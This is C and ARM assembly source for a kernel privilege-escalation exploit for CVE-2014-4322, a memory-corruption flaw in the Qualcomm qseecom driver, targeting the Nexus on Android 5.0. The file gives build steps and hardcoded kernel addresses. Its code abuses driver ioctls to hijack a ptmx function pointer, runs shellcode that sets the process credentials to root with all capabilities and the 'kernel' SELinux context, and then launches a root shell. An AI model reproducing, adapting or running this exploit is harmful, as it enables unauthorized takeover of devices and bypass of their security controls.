/* * CVE-2014-4322 exploit for Nexus Android 5.0 * * author: retme retme7@gmail.com * website: retme.net * * The exploit must be excuted as system privilege and specific SELinux context. * If exploit successed,you will gain root privilege and "kernel" SELinux context * * bug info: * https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322 * * how to build: * create an Android.mk as follow: include $(CLEAR_VARS) include $(CLEAR_VARS) LOCAL_SRC_FILES:= ./msm.c \ ./shellcode.S LOCAL_MODULE:= exploit #LOCAL_C_INCLUDES += $(common_includes) LOCAL_CPPFLAGS += -DDEBUG LOCAL_CFLAGS += -DDEBUG LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog include $(BUILD_EXECUTABLE) include $(BUILD_EXECUTABLE) create Application.mk as follow: APP_ABI := armeabi APP_PLATFORM := android-8 APP_PIE:= true use ndk-build to build the project usage: run exploit as system privilege,with SELinux context such as "keystore","vold","drmserver","mediaserver","surfaceflinger" * * If exploit successed,you will gain root privilege and "kernel" SELinux context * * * */ //=========================================msm.c============================================= #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../kernel.h" #include "qseecom.h" //4.4.2 CFW(for debug) //#define PTMX_FOPS 0xc1334e00 //fnPrintk printk = 0xc0a0113c; //Nexus Android 5.0 OFW #define PTMX_DEVICE "/dev/ptmx" #define PTMX_FOPS 0xc1236cd8 fnPrintk printk = 0xc0a21e78; int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux); int kmemcmp(char *a1, char *a2, int len) { int v3; // r3@2 int v4; // r4@3 int v5; // r5@3 int result; // r0@4 if ( len ) { v3 = 0; while ( 1 ) { v4 = a1[v3]; v5 = a2[v3]; if ( v4 != v5 ) break; if ( a1[v3] ) { ++v3; if ( len != v3 ) continue; } goto LABEL_7; } result = v4 - v5; } else { LABEL_7: result = 0; } return result; } int g_pid = 0; int g_tgid = 0; int open_ion(){ int fd = open("/dev/ion",O_RDONLY); if (fd<0){ perror("open"); } printf("ion fd %d\n",fd); return fd; } // http://lwn.net/Articles/480055/ /* * struct ion_allocation_data { size_t len; size_t align; unsigned int heap_mask; unsigned int flags; struct ion_handle *handle; }; * * * */ #define ION_FLAG_SECURE (1<<31) int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){ int ret = -1; struct ion_allocation_data data; // ION_FLAG_CACHED data.len = size; data.align = size; data.flags = ION_HEAP_TYPE_CARVEOUT ; //data.heap_mask = ION_HEAP_TYPE_CARVEOUT; //data.handle = handle; ret = ioctl(client_fd, ION_IOC_ALLOC, &data); if (ret<0){ perror("ION_IOC_ALLOC"); } *pphandle = data.handle; return ret; } /* struct ion_fd_data { struct ion_handle *handle; int fd; } */ int share_ion_memory(int client_fd,struct ion_handle* handle){ struct ion_fd_data data; data.handle = handle; data.fd = -1; int ret = ioctl(client_fd, ION_IOC_SHARE, &data); return data.fd; } int obtain_dma_buf_fd(int size){ int fd_device = open_ion(); int dmf_fd = -1; struct ion_handle* handle; int ret = alloc_ion_memory(fd_device,size,&handle); if (ret<0){ perror("alloc_ion_memory"); } dmf_fd = share_ion_memory(fd_device,handle); if (dmf_fd<0){ perror("share_ion_memory"); } return dmf_fd; } void* fd_to_mmap(int fd,int size){ void* seg_addr = mmap(0, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(seg_addr == MAP_FAILED){ perror("fd_to_map"); } return seg_addr; } //c0a0113c T printk void sayhello(){ fnPrintk printk = 0xc0a0113c; printk("hell0 shellocde"); return; } void shell_code2(); static int run_obtain_root_privilege() { int fd; int ret; fd = open(PTMX_DEVICE, O_WRONLY); if(fd<=0){perror("ptmx");return -1;} ret = fsync(fd); close(fd); return ret; } int main(int argc, char *argv[]){ printf("mypid %d\n",getpid()); int ret = -1; int fd = open("/dev/qseecom", 0); if (fd<0){ perror("open"); exit(-1); } void* abuseBuff = malloc(400); memset(abuseBuff,0,400); int* intArr = (int*)abuseBuff; int j = 0; for(j=0;j<24;j++){ intArr[j] = 0x1; } struct qseecom_send_modfd_cmd_req ioctlBuff; prctl(PR_SET_NAME, "GodFather", 0, 0, 0); // if(0==fork()){ g_pid = getpid(); g_tgid = g_pid; prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0); //QSEECOM_IOCTL_SET_MEM_PARAM_REQ struct qseecom_set_sb_mem_param_req req; req.ifd_data_fd = obtain_dma_buf_fd(8192); req.virt_sb_base = abuseBuff; req.sb_len = 8192; ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req); printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret); ioctlBuff.cmd_req_buf = abuseBuff; ioctlBuff.cmd_req_len = 400; ioctlBuff.resp_buf = abuseBuff; ioctlBuff.resp_len = 400; int i = 0; for (i = 0;i<4;i++){ ioctlBuff.ifd_data[i].fd = 0; ioctlBuff.ifd_data[i].cmd_buf_offset =0; } ioctlBuff.ifd_data[0].fd = req.ifd_data_fd; ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); //*(int*)intArr[0] = 0x0; void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0); printf("mmap return %p \n",addr); *(int*)addr = 0xE3500000; *((int*)((int)addr+4)) = 0xe1a0f00e; memcpy(addr,shell_code2,400); int* arr = (int*)addr; for(i=0;i<10;i++){ if(arr[i] == 0xeeeeeeee) arr[i] = (int)MyCommitCred; printf("%p\n",arr[i]); } //c1334e00 b ptmx_fops ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 14*4) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); run_obtain_root_privilege(); char * argv1[]={"sh",(char *)0}; int result = execv("/system/bin/sh", argv1); if(result){ perror("execv"); } return 0; } int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux) { int v38; // [sp+0h] [bp-60h]@1 int addrBase; char szName[16] = "ihoo.darkytools"; int offset; mycred *my_cred; mycred *my_real_cred; struct task_security_struct * tsec; int ret = -1; int searchLenth; isSelinux = 1; //return 0; addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC); //return addrBase; if ( addrBase > 0xBFFFFFFF ) { offset = 0; while ( 1 ) { addrBase += 4; if ( !kmemcmp(addrBase, szName, 16) ) break; ++offset; if ( offset == 0x600 ) { return 18; } } } else return 17; my_cred = *(int*)(addrBase -8); my_real_cred = *(int*)(addrBase -8 - 4); searchLenth = 0; while(searchLenth<0x20){ if(!my_cred || !my_real_cred || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF ){ //2.6? addrBase-=4; my_cred = *(int*)(addrBase-8 ); my_real_cred = *(int*)(addrBase -8-4); } else break; searchLenth++; } if(searchLenth == 0x20) return 0X20; // fuck!! where is my cred??? my_cred->uid = 0; my_cred->gid = 0; my_cred->suid = 0; my_cred->sgid = 0; my_cred->egid = 0; my_cred->euid = 0; my_cred->fsgid = 0; my_cred->fsuid = 0; my_cred->securebits=0; my_cred->cap_bset.cap[0] = -1; my_cred->cap_bset.cap[1] = -1; my_cred->cap_inheritable.cap[0] = -1; my_cred->cap_inheritable.cap[1] = -1; my_cred->cap_permitted.cap[0] = -1; my_cred->cap_permitted.cap[1] = -1; my_cred->cap_effective.cap[0] = -1; my_cred->cap_effective.cap[1] = -1; my_real_cred->uid = 0; my_real_cred->gid = 0; my_real_cred->suid = 0; my_real_cred->sgid = 0; my_real_cred->egid = 0; my_real_cred->euid = 0; my_real_cred->fsgid = 0; my_real_cred->fsuid = 0; my_real_cred->securebits=0; my_real_cred->cap_bset.cap[0] = -1; my_real_cred->cap_bset.cap[1] = -1; my_real_cred->cap_inheritable.cap[0] = -1; my_real_cred->cap_inheritable.cap[1] = -1; my_real_cred->cap_permitted.cap[0] = -1; my_real_cred->cap_permitted.cap[1] = -1; my_real_cred->cap_effective.cap[0] = -1; my_real_cred->cap_effective.cap[1] = -1; if(isSelinux){ tsec = my_cred->security; if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } else { tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_cred->security)); if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } } tsec = my_real_cred->security; if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; }else { tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_real_cred->security)); if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } } } else{ ret = 16; } printk("return %d",ret); return ret; } //=========================================msm.c end============================================= //=========================================shellcode.S start============================================= #define __ASSEMBLY__ #include .extern sayhello ENTRY(shell_code2) ldr r0, [pc , #4] STMFD SP!, {R0} LDMFD SP!, {PC} .byte 0xee, 0xee, 0xee, 0xee //=========================================shellcode.S end=============================================